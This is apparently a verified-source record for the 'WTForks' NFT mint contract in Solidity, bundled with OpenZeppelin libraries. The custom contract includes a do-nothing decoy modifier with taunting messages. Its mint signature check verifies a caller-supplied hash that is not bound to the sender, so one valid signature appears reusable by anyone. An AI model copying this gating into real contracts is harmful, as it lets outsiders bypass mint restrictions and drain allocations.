[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,710
0x97365237b9ecA090D2f01d175ad3Ad7A2c3E7eec
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /******************** * @author: Techoshi.eth * <(^_^)> ********************/ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; contract WTForks is Ownable, ERC721, ERC721URIStorage { using Counters for Counters.Counter; using ECDSA for bytes32; using Strings for uint256; Counters.Counter private _tokenSupply; uint256 public constant MAX_TOKENS = 8888; uint256 public mTL = 20; uint256 public whitelistmTL = 20; uint256 public tokenPrice = 0.07 ether; uint256 public whitelistTokenPrice = 0.055 ether; uint256 public maxPrivateBanquetMeals = 6000; bool public kitchenIsOpen = false; bool public privateBanquetIsOpen = true; bool public revealed = false; string _baseTokenURI; string public baseExtension = ".json"; string public hiddenMetadataUri; address private _Uno = 0x0000000000000000000000000000000000000000; address private _Duece = 0x0000000000000000000000000000000000000000; address private _Pantry = 0x0000000000000000000000000000000000000000; mapping(address => bool) whitelistedAddresses; modifier openKitchenCompliance( bool flip, bytes32 hash, bytes memory signature, bytes32 hash2, bytes memory signature2 ) { require(kitchenIsOpen, "Kitchen is not open"); require( matchMessage( flip, flip ? hash : hash2, flip ? signature : signature2 ), "Direct mint now allowed" ); _; } modifier isGuest(address _address, bytes32 _hash) { bool decoy = keccak256(abi.encodePacked("<(^_^)>")) != keccak256( abi.encodePacked( "If you want to help feed the hungry and you can get around the gate go for it. ~Techoshi" ) ); if (_hash.length > 0) { require( true, "I'm just wasting your time. We did this offline. ~Techoshi" ); } _; } modifier privateBanquetCompliance( bool flip, bytes32 hash, bytes memory signature, bytes32 hash2, bytes memory signature2 ) { require(privateBanquetIsOpen, "WTForks Pre-Sale is not Open"); require( matchMessage( flip, flip ? hash : hash2, flip ? signature : signature2 ), "Direct mint now allowed" ); _; } constructor( address firstAddy, address secondAddy, address _vault, string memory __baseTokenURI, string memory _hiddenMetadataUri ) ERC721("WTForks NFT", "WTForks") { _Pantry = _vault; _Uno = firstAddy; _Duece = secondAddy; _tokenSupply.increment(); _safeMint(msg.sender, 0); _baseTokenURI = __baseTokenURI; hiddenMetadataUri = _hiddenMetadataUri; } function withdraw() external onlyOwner { payable(_Pantry).transfer(address(this).balance); } function privateBanquetMint( bool mH, bytes32 mOne, bytes memory mTwo, bytes32 mThree, bytes32 mFour, bytes memory mFive, uint256 amount ) external payable privateBanquetCompliance(mH, mOne, mTwo, mFour, mFive) isGuest(msg.sender, mThree) { uint256 supply = _tokenSupply.current(); require( supply + amount < maxPrivateBanquetMeals, "Not enough free mints remaining" ); require( whitelistTokenPrice * amount <= msg.value, "Not enough ether sent" ); require(amount <= whitelistmTL, "Mint amount too large"); for (uint256 i = 0; i < amount; i++) { _tokenSupply.increment(); _safeMint(msg.sender, supply + i); } } function openKitchenMint( bool mH, bytes32 mOne, bytes memory mTwo, bytes32 mThree, bytes32 mFour, bytes memory mFive, uint256 a ) external payable openKitchenCompliance(mH, mOne, mTwo, mFour, mFive) isGuest(msg.sender, mThree) { uint256 supply = _tokenSupply.current(); require(a <= mTL, "Mint amount too large"); require(supply + a < MAX_TOKENS, "Not enough tokens remaining"); require(tokenPrice * a <= msg.value, "Not enough ether sent"); for (uint256 i = 0; i < a; i++) { _tokenSupply.increment(); _safeMint(msg.sender, supply + i); } } function houseMint(address to, uint256 amount) external onlyOwner { uint256 supply = _tokenSupply.current(); require(supply + amount < MAX_TOKENS, "Not enough tokens remaining"); for (uint256 i = 0; i < amount; i++) { _tokenSupply.increment(); _safeMint(to, supply + i); } } function setParams( uint256 newPrice, uint256 newWhitelistTokenPrice, uint256 setOpenKitchenMintLimit, uint256 setPrivateBanquetMintLimit, bool setKitchenState, bool setPrivateBanquetState ) external onlyOwner { whitelistTokenPrice = newWhitelistTokenPrice; tokenPrice = newPrice; mTL = setOpenKitchenMintLimit; whitelistmTL = setPrivateBanquetMintLimit; kitchenIsOpen = setKitchenState; privateBanquetIsOpen = setPrivateBanquetState; } function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner { mTL = newMintLimit; } function setWhitelistTransactionMintLimit(uint256 newprivateBanquetLimit) external onlyOwner { whitelistmTL = newprivateBanquetLimit; } function setTokenPrice(uint256 newPrice) external onlyOwner { tokenPrice = newPrice; } function setFreeMints(uint256 amount) external onlyOwner { require(amount <= MAX_TOKENS, "Free mint amount too large"); maxPrivateBanquetMeals = amount; } function toggleCooking() external onlyOwner { kitchenIsOpen = !kitchenIsOpen; } function togglePresaleCooking() external onlyOwner { privateBanquetIsOpen = !privateBanquetIsOpen; } function totalSupply() public view returns (uint256) { return _tokenSupply.current(); } function setBaseURI(string memory newBaseURI) external onlyOwner { _baseTokenURI = newBaseURI; } function setPantryAddress(address newVault) external onlyOwner { _Pantry = newVault; } function setSignerAddress(address newSigner, address newSigner2) external onlyOwner { _Uno = newSigner; _Duece = newSigner2; } function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } receive() external payable {} function matchMessage( bool flip, bytes32 hash, bytes memory signature ) private view returns (bool) { address hashAddy = hash.toEthSignedMessageHash().recover(signature); bool firstCheck = (flip && address(_Uno) == address(hashAddy)); bool secondCheck = (!flip && address(_Duece) == address(hashAddy)); bool returnResult = flip ? firstCheck : secondCheck; return returnResult; } function setBaseExtension(string memory _baseExtension) public onlyOwner { baseExtension = _baseExtension; } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function burn(uint256 tokenId) public onlyOwner { _burn(tokenId); } function tokenURI(uint256 _tokenId) public view virtual override(ERC721, ERC721URIStorage) returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, _tokenId.toString(), baseExtension ) ) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // 